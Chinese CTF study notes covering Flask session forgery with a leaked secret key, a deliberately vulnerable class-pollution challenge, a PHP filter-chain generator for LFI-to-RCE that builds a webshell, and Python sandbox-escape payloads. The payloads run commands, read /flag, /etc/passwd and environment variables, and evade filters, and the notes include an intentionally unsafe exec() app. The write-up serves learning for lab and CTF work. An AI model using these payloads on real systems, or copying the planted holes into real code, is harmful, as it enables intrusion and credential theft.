可以看到前面有一个.号，明显不符合我们刚才所说的session格式：如果 Session 的第一段以 . 开头，这意味着这串数据在Base64编码之前，先经过了zlib压缩。

我们用这串python脚本解码看看：

import base64
import zlib
import json

cookie = ".eJwlzksOwjAMANG7ZM3Cjh074TLI9UewbekKcXcqcYAZvU971J7Hs93f-5m39nhFu7cSWGLFNDZzDRQUA-Fl5AmqNBGgBnWFKDM2HJtAdwiymiRqqJ6MEzgBQjn6ul7KY2w8PTqNEYlluGSRO185rTmlryz3Lu2CnEfuf01v3x9dwi4O.acn3Cg.SyFOeYY5OCYZhH-tgdGmlpiYl-E"
# 1. 提取核心数据段 (按点分割后的第二个元素)
payload = cookie.split('.')[1] 
# 2. 补全 Base64 的 '=' 填充 (Padding)
# Base64 要求长度必须是 4 的倍数，Flask 默认会去掉末尾的 '='，我们得补回来
padding = '=' * (4 - (len(payload) % 4))
padded_payload = payload + padding
# 3. Base64 (URL-safe) 解码
compressed_data = base64.urlsafe_b64decode(padded_payload)
# 4. zlib 解压缩
json_bytes = zlib.decompress(compressed_data)
# 5. 转换为 JSON 字典并打印
parsed_data = json.loads(json_bytes.decode('utf-8'))
print("session内容：")
print(json.dumps(parsed_data, indent=4, ensure_ascii=False))

当Session里的数据比较多（比如存了复杂的字典或长字符串）时，Flask就会自动触发压缩机制

回到这道题，我们可以在一开始的忘记密码页面找到secret_key：

th3f1askisfunny

猜测admin的_user_id是1，执行：

python3 flask_session_cookie_manager3.py encode -s "th3f1askisfunny" -t "{'_fresh':True,'_id':'f6096af435bac7d1616a0649a3ce07738100f53270dfaa4a15b602c0d3af8367a17ce41804e00d74d294357455b48cd2355de1fa19693cc45b63988629efcc26','_user_id': '1'}"

最后替换到cookie中刷新界面点击拿flag就好了：

# python原型链污染与session伪造

学到这里联想到了之前存在的python原型链污染，结合起来可以出一道题：

from flask import Flask, request, session, jsonify, render_template_string
import os

app = Flask(__name__)
# 每次重启生成强随机密钥，防御“非预期解”
app.config['SECRET_KEY'] = os.urandom(32).hex()

HTML_PAGE = """
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>ZLARYY's User Center</title>
    <style>
        /* 默认亮色主题 */
        body.light { background-color: #f4f6f9; color: #333; transition: 0.5s; }
        .box.light { background: white; border: 1px solid #ddd; }
        
        /* 暗黑主题 */
        body.dark { background-color: #1a1a1a; color: #00ff00; transition: 0.5s; }
        .box.dark { background: #222; border: 1px solid #00ff00; box-shadow: 0 0 10px #00ff00; }
        
        body { font-family: 'Courier New', Courier, monospace; display: flex; justify-content: center; align-items: center; height: 100vh; margin: 0; }
        .container { text-align: center; padding: 40px; border-radius: 10px; width: 400px;}
        button { padding: 10px 20px; margin: 10px; cursor: pointer; border-radius: 5px; border: 1px solid #888; font-weight: bold; }
        .flag-btn { background-color: #e74c3c; color: white; border: none; margin-top: 30px;}
    </style>
</head>
<body class="light" id="page-body">
    <div class="container box light" id="content-box">
        <h2>👋 Welcome, <span id="role-text"><!--swig8--></span>!</h2>
        <p>You can customize your profile theme below.</p>
        
        <hr>
        <p>Theme Settings:</p>
        <button onclick="updateTheme('light')">☀️ Light Mode</button>
        <button onclick="updateTheme('dark')">🌙 Dark Mode</button>
        <br>
        
        <button class="flag-btn" onclick="getFlag()">🚩 Get Secret Flag</button>
    </div>

    <script>
        // 前端通过 Fetch API 发送 JSON 数据给后端
        function updateTheme(themeName) {
            fetch('/api/update_profile', {
                method: 'POST',
                headers: { 'Content-Type': 'application/json' },
                // 正常业务只会发送类似 {"theme": "dark"} 的数据
                body: JSON.stringify({ "theme": themeName })
            })
            .then(res => res.json())
            .then(data => {
                if(data.current_theme) {
                    // 动态切换前端 CSS 类名
                    document.getElementById('page-body').className = data.current_theme;
                    document.getElementById('content-box').className = "container box " + data.current_theme;
                    console.log("Profile updated:", data.msg);
                }
            });
        }

        // 尝试获取 Flag 的请求
        function getFlag() {
            fetch('/get_flag')
            .then(res => res.json())
            .then(data => {
                if(data.flag) {
                    alert("🎉 Success! " + data.flag);
                } else {
                    alert("❌ Error: " + data.error);
                }
            });
        }
    </script>
</body>
</html>
"""
class UserProfile:
    def __init__(self):
        self.theme = "light"
        self.language = "zh_CN"
        
current_profile = UserProfile()

def unsafe_merge(target, payload):
    for key, value in payload.items():
        if isinstance(target, dict):
            if isinstance(value, dict) and key in target:
                unsafe_merge(target[key], value)
            else:
                target[key] = value
        elif hasattr(target, key):
            if isinstance(value, dict):
                unsafe_merge(getattr(target, key), value)
            else:
                setattr(target, key, value)

@app.route('/', methods=['GET'])
def index():
    if not session.get('role'):
        session['role'] = 'guest'
    return render_template_string(HTML_PAGE, role=session.get('role'))

@app.route('/api/update_profile', methods=['POST'])
def update_profile():
    try:
        data = request.get_json()
        if not data:
            return jsonify({"error": "Invalid JSON"}), 400
            
        unsafe_merge(current_profile, data)
        
        return jsonify({
            "msg": "Theme synced successfully",
            "current_theme": current_profile.theme
        })
    except Exception as e:
        return jsonify({"error": str(e)}), 500

@app.route('/get_flag', methods=['GET'])
def get_flag():
    if session.get('role') == 'admin':
        return jsonify({"flag": "ZLARYY{Th3m3_Sw1tch_L3ads_T0_R00t}"})
    else:
        return jsonify({"error": "Access Denied. You are not admin!"}), 403

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000, debug=False)

这道题的思路是通过切换主题去尝试污染SECRET_KEY然后去伪造session，试试通过Get Secret Key拿到flag吧

# filter-chain

这种利用姿势源自于漏洞CVE-2024-2961，本质上是实现从本地文件包含再到远程代码执行。

参考：https://err0r233.github.io/posts/28510.html

https://cloud.tencent.com/developer/article/2287108

# 一些常见的filter(过滤器)

convert.base64-encode：执行base64加密处理

convert.base64-decode：执行base64解密

string.lower：将字符串转为小写

string.upper：将字符串转为大写

convert.iconv.X.Y：将字符串从X编码转换为Y编码形式

部分过滤器在之前写文件包含的exit死亡绕过的时候就已经提到过了，这里提一点进阶的内容：

convert.base664-decode有一个极其宽容的特性，当对字符串进行base64解码操作的时候，遇到不属于base64(a-z,A-Z,0-9,+/)字母表的内容，就会直接无视并丢弃，比如：

ZLA($@!RY*^Y66

对这串字符串进行base64解码操作之后再次base64编码得到的结果

可以看到就是去除了特殊字符得到的结果

其实真正构造出payload的部分是靠iconv过滤器，比如将字符串从UTF-8转换为CSISO2022KR:

php://filter/convert.iconv.UTF8.CSISO2022KR/resource=data://text/plain,ZLARYY66

可以看到在我们的字符串前面加上了一个不可见字符和$)C，这样再经过一次base64解码和base64编码就会看到我们硬生生在字符串前面加上了一个字符C：

php://filter/read=convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode/resource=data://text/plain,ZLARYY66

同理，我们利用其他的iconv过滤器就能构造出其他的字符，而文件包含是可以配合上RCE的：

php://filter/resource=data://text/plain,<?php system('ls /');?>

那么我们就可以尝试通过过滤器链构造出一段php代码添加在最后查询的文件前面，比如：

php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=/etc/passwd&0=ls /

这一串过滤器链产生的是<?=`$_GET['0']`?>这段php代码

# EXP

这里给出之前提到参考文章中的一个大佬的脚本：

import argparse
import base64
import re

# - Useful infos -
# https://book.hacktricks.xyz/pentesting-web/file-inclusion/lfi2rce-via-php-filters
# https://github.com/wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT
# https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d

# No need to guess a valid filename anymore
file_to_use = "php://temp"

conversions = {
    '0': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2',
    '1': 'convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4',
    '2': 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921',
    '3': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE',
    '4': 'convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE',
    '5': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2',
    '6': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.CSIBM943.UCS4|convert.iconv.IBM866.UCS-2',
    '7': 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4',
    '8': 'convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
    '9': 'convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB',
    'A': 'convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213',
    'a': 'convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE',
    'B': 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000',
    'b': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE',
    'C': 'convert.iconv.UTF8.CSISO2022KR',
    'c': 'convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2',
    'D': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213',
    'd': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5',
    'E': 'convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT',
    'e': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937',
    'F': 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB',
    'f': 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213',
    'g': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8',
    'G': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90',
    'H': 'convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213',
    'h': 'convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE',
    'I': 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213',
    'i': 'convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000',
    'J': 'convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4',
    'j': 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16',
    'K': 'convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE',
    'k': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2',
    'L': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC',
    'l': 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE',
    'M':'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T',
    'm':'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949',
    'N': 'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4',
    'n': 'convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61',
    'O': 'convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775',
    'o': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE',
    'P': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB',
    'p': 'convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4',
    'q': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.GBK.CP932|convert.iconv.BIG5.UCS2',
    'Q': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2',
    'R': 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4',
    'r': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.ISO-IR-99.UCS-2BE|convert.iconv.L4.OSF00010101',
    'S': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS',
    's': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90',
    'T': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103',
    't': 'convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS',
    'U': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943',
    'u': 'convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61',
    'V': 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB',
    'v': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.ISO-8859-14.UCS2',
    'W': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936',
    'w': 'convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE',
    'X': 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932',
    'x': 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS',
    'Y': 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361',
    'y': 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT',
    'Z': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16',
    'z': 'convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937',
    '/': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4',
    '+': 'convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157',
    '=': ''
}

def generate_filter_chain(chain, debug_base64 = False):

    encoded_chain = chain
    # generate some garbage base64
    filters = "convert.iconv.UTF8.CSISO2022KR|"
    filters += "convert.base64-encode|"
    # make sure to get rid of any equal signs in both the string we just generated and the rest of the file
    filters += "convert.iconv.UTF8.UTF7|"


    for c in encoded_chain[::-1]:
        filters += conversions[c] + "|"
        # decode and reencode to get rid of everything that isn't valid base64
        filters += "convert.base64-decode|"
        filters += "convert.base64-encode|"
        # get rid of equal signs
        filters += "convert.iconv.UTF8.UTF7|"
    if not debug_base64:
        # don't add the decode while debugging chains
        filters += "convert.base64-decode"

    final_payload = f"php://filter/{filters}/resource={file_to_use}"
    return final_payload

def main():

    # Parsing command line arguments
    parser = argparse.ArgumentParser(description="PHP filter chain generator.")

    parser.add_argument("--chain", help="Content you want to generate. (you will maybe need to pad with spaces for your payload to work)", required=False)
    parser.add_argument("--rawbase64", help="The base64 value you want to test, the chain will be printed as base64 by PHP, useful to debug.", required=False)
    args = parser.parse_args()
    if args.chain is not None:
        chain = args.chain.encode('utf-8')
        base64_value = base64.b64encode(chain).decode('utf-8').replace("=", "")
        chain = generate_filter_chain(base64_value)
        print("[+] The following gadget chain will generate the following code : {} (base64 value: {})".format(args.chain, base64_value))
        print(chain)
    if args.rawbase64 is not None:
        rawbase64 = args.rawbase64.replace("=", "")
        match = re.search("^([A-Za-z0-9+/])*$", rawbase64)
        if (match):
            chain = generate_filter_chain(rawbase64, True)
            print(chain)
        else:
            print ("[-] Base64 string required.")
            exit(1)

if __name__ == "__main__":
    main()

用法是python3 php_filter_generator.py --chain 'xxx'

沙箱逃逸

2026-03-27T04:05:00.000Z

# 沙箱逃逸

参考：https://www.freebuf.com/articles/web/422169.html

https://www.freebuf.com/articles/system/203208.html

沙箱是一种安全机制，用于为运行中的程序提供一个隔离的环境

系统把不信任的程序（比如网页上的 JavaScript、下载的未知文件、或者某个特定的应用）放在沙箱里运行。在这个环境里，程序只能访问被严格限制的资源（如少量的内存、特定的临时文件夹），它无法读取私人文件、修改操作系统核心设置或感染其他程序。

那么沙箱逃逸就是指被隔离在沙箱内部的恶意代码，利用了沙箱本身的漏洞或配置缺陷，打破了隔离边界，成功获取了沙箱外部系统（宿主机操作系统）的访问权限。

这里我在kali虚拟机上直接搭建了一个形似CTF题目环境的本地测试页面：

# app.py
from flask import Flask, request, render_template_string
import sys
import io

app = Flask(__name__)

# 这是一个极简的 HTML 前端模板，自带黑客风样式
HTML_TEMPLATE = """
<!DOCTYPE html>
<html>
<head>
    <title>在线 PyJail 靶场</title>
    <style>
        body { font-family: monospace; background: #1e1e1e; color: #d4d4d4; padding: 20px; }
        textarea { width: 100%; height: 200px; background: #2d2d2d; color: #00ff00; border: 1px solid #555; padding: 10px; font-family: inherit; font-size: 16px;}
        input[type="submit"] { background: #007acc; color: white; border: none; padding: 10px 20px; cursor: pointer; margin-top: 10px; font-size: 16px;}
        input[type="submit"]:hover { background: #005f9e; }
        pre { background: #000; padding: 15px; border-left: 5px solid #00ff00; overflow-x: auto; color: #00ff00;}
    </style>
</head>
<body>
    <h2>🐍 危险的在线 Python 沙箱 (Web RCE)</h2>
    <p>在此输入你的 Python Payload：</p>
    <form method="POST">
        <textarea name="code" placeholder="输入 Python 代码，例如: print('Hello Hacker!')"></textarea><br>
        <input type="submit" value="执行代码 (Execute)">
    </form>
    
    <!--swig0-->
</body>
</html>
"""

@app.route('/', methods=['GET', 'POST'])
def index():
    result = None
    if request.method == 'POST':
        # 1. 获取用户在网页文本框里填写的代码
        code = request.form.get('code', '')
        
        # 2. 准备捕获 Python 的标准输出 (将 print 的内容拦截下来显示在网页上)
        old_stdout = sys.stdout
        redirected_output = sys.stdout = io.StringIO()
        
        try:
            # 3. 核心漏洞：没有任何过滤，直接执行用户输入的代码！
            exec(code)
            
            # 4. 获取执行期间所有 print 出来的内容
            result = redirected_output.getvalue()
            if not result:
                result = "[执行成功，但没有输出任何内容]"
                
        except Exception as e:
            # 如果代码报错，把错误信息返回给网页
            result = f"[运行报错] {str(e)}"
        finally:
            # 5. 恢复系统的标准输出（重要收尾工作）
            sys.stdout = old_stdout
            
    return render_template_string(HTML_TEMPLATE, result=result)

if __name__ == '__main__':
    # 启动 Web 服务，监听 5000 端口
    app.run(host='0.0.0.0', port=5000, debug=True)

# 命令执行

python中可以执行系统命令的有：

os

commands：仅限2.x

subprocess

timeit：timeit.sys、timeit.timeit("__import__('os').system('whoami')", number=1)

platform：platform.os、platform.sys、platform.popen('whoami', mode='r', bufsize=-1).read()

pty：pty.spawn('ls')、pty.os

bdb：bdb.os、cgi.sys

cgi：cgi.os、cgi.sys
...

# os

import os 引入python标准库中的os模块
result=os.popen('cat /flag').read() 执行命令并将命令执行结果塞入到管道中，通过read()转换为字符串赋值给result变量
print(result) 输出命令执行的结果

在某些条件下也可以使用：
import os
os.system('cat /flag')
可能会导致执行shell命令不会返回shell的输出

# commands

commands命令是python2.x版本下可以使用的：

import commands
commands.getstatusoutput("ls") 执行系统命令，并只返回命令的输出结果（字符串）
commands.getoutput("ls") 执行系统命令，并返回一个元组 (Tuple)：(状态码, 输出结果)
commands.getstatus("ls") 执行了 ls -ld 文件名，返回这个文件的权限和属性信息

# ctypes

import ctypes
ctypes.CDLL(None).system('cat /flag'.encode())
上面这串payload同样可以执行成功但是没有回显

# subprocess

通过这个模块我们可以更方便看到命令执行的回显内容

import subprocess 引入Python的子进程管理模块
print(subprocess.getoutput('cat /flag'))
这行代码会开辟一个子进程去启动Linux shell，之后他会将输出端接上管道转换为字符串用print输出出来

除此之外我们可以利用

import subprocess
# capture_output=True 负责把数据截获下来，text=True 负责把字节流转成字符串
result = subprocess.run('cat /flag', shell=True, capture_output=True, text=True)
print(result.stdout)

还有：

import subprocess
# 1. 启动进程，并强行把它的标准输出 (stdout) 接上一根内部pipe (subprocess.PIPE)
proc = subprocess.Popen('cat /flag', shell=True, stdout=subprocess.PIPE)
# 2. 读取pipe里的内容，并解码成字符串
# communicate()[0] 是获取标准输出的标准做法，并且它会等待命令执行完毕
result = proc.communicate()[0].decode()
print(result)

# pty

import pty
pty.spawn("ls")

这种payload直接输入也是没有回显的，除非我们将他输出的字符串写入到其他文件中，并且利用python的文件读取功能：

import pty
import os
pty.spawn(['/bin/sh', '-c', 'cat /flag > /tmp/1.txt'])
result = open('/tmp/1.txt').read()
print(result)

值得注意的是：pty.spawn会将整个字符串当作文件名执行，如果我们传入pty.spawn("cat /flag")，那么他就会去寻找cat /flag这个可执行文件，所以我们必须使用列表的形式传给他：

pty.spawn(['cat', '/flag'])

# timeit

import timeit
timeit.timeit("__import__('os').system('dir')",number=1)

import timeit
# 让底层 shell 把结果写进 1.txt
timeit.timeit("__import__('os').system('cat /flag > 1.txt')", number=1)
print(open('1.txt').read())

# platform

import platform
print(platform.popen('dir').read())

这个和 commands一样也只能用于python2环境

# importlib

import importlib
importlib.import_module('os').system('cat /flag > /tmp/1.txt')
print(open('/tmp/1.txt').read())

或者可以：

import importlib
result = importlib.import_module('os').popen('cat /flag').read()
print(result)

# sys

import sys
result=sys.modules['os'].popen('cat /flag').read()
print(result)

这里利用的是popen而不是system，是因为用system就不能使用.read()方法

# linecache

import linecache
linecache.os.system('ls')

在使用这个之前可以尝试print(dir(linecache))看看该版本的python下有没有os直接属性

# 读写文件

# file类（python2）

file('test.txt').read()

# open函数

open('/etc/passwd').read()
__builtins__.open('/etc/passwd').read()
__import__("builtins").open('/etc/passwd').read()

直接使用这些是没有回显的，所以需要print输出一下

# codecs模块

import codecs
print(codecs.open('/flag').read())

# getline函数

print(__import__("linecache").getline('/flag',1))
#第二个参数是指定行号

# getlines函数

import linecache
print(linecache.getlines('/flag'))

print(__import__("linecache").getlines('/etc/passwd'))

# license函数

__builtins__.__dict__["license"]._Printer__filenames=["/flag"]
a = __builtins__.help
a.__class__.__enter__ = __builtins__.__dict__["license"]
a.__class__.__exit__ = lambda self, *args: None
with (a as b):
    pass

# 枚举目录

# os模块

import os
print(os.listdir("/"))

print(__import__('os').listdir('/'))

# glob模块

import glob
print(glob.glob("/f*"))

print(__import__('glob').glob("/f*"))

这段payload可以查看根目录下是否存在以f开头的目录或文件

# 获取环境信息

# popen

import os
print(os.popen('env').read())

直接env可以查看所有环境变量中的内容，加上grep FLAG就会单独输出这个值

# environ

import os
print(os.environ)

# sys模块

import sys
print(sys.version)
#这串payload可以用来查看python版本

# 一些绕过手段

# 拼接绕过

b = 'o'
a = 's'
__import__(b+a).popen('cat /flag').read()

# 利用字符串的变化处理os

print(__import__('so'[::-1]).popen('cat /flag').read())

还可以利用 eval 或者 exec：

print(eval(')(daer.)"galf/ tac"(nepop.)"so"(__tropmi__'[::-1]))

exec('))(daer.)"galf/ tac"(nepop.so(tnirp ;so tropmi'[::-1])

# match case语法绕过getattr()限制

match object:
    case object(__subclasses__=subclasses):
        print(subclasses())

但是match语法也可能在 AST 层面被过滤，即 ast.Match

# 通过继承关系逃逸

这里特别像SSTI了，通过一连串的继承关系去找到os或其他执行命令，这里就不过多赘述了，主要给一些语句：

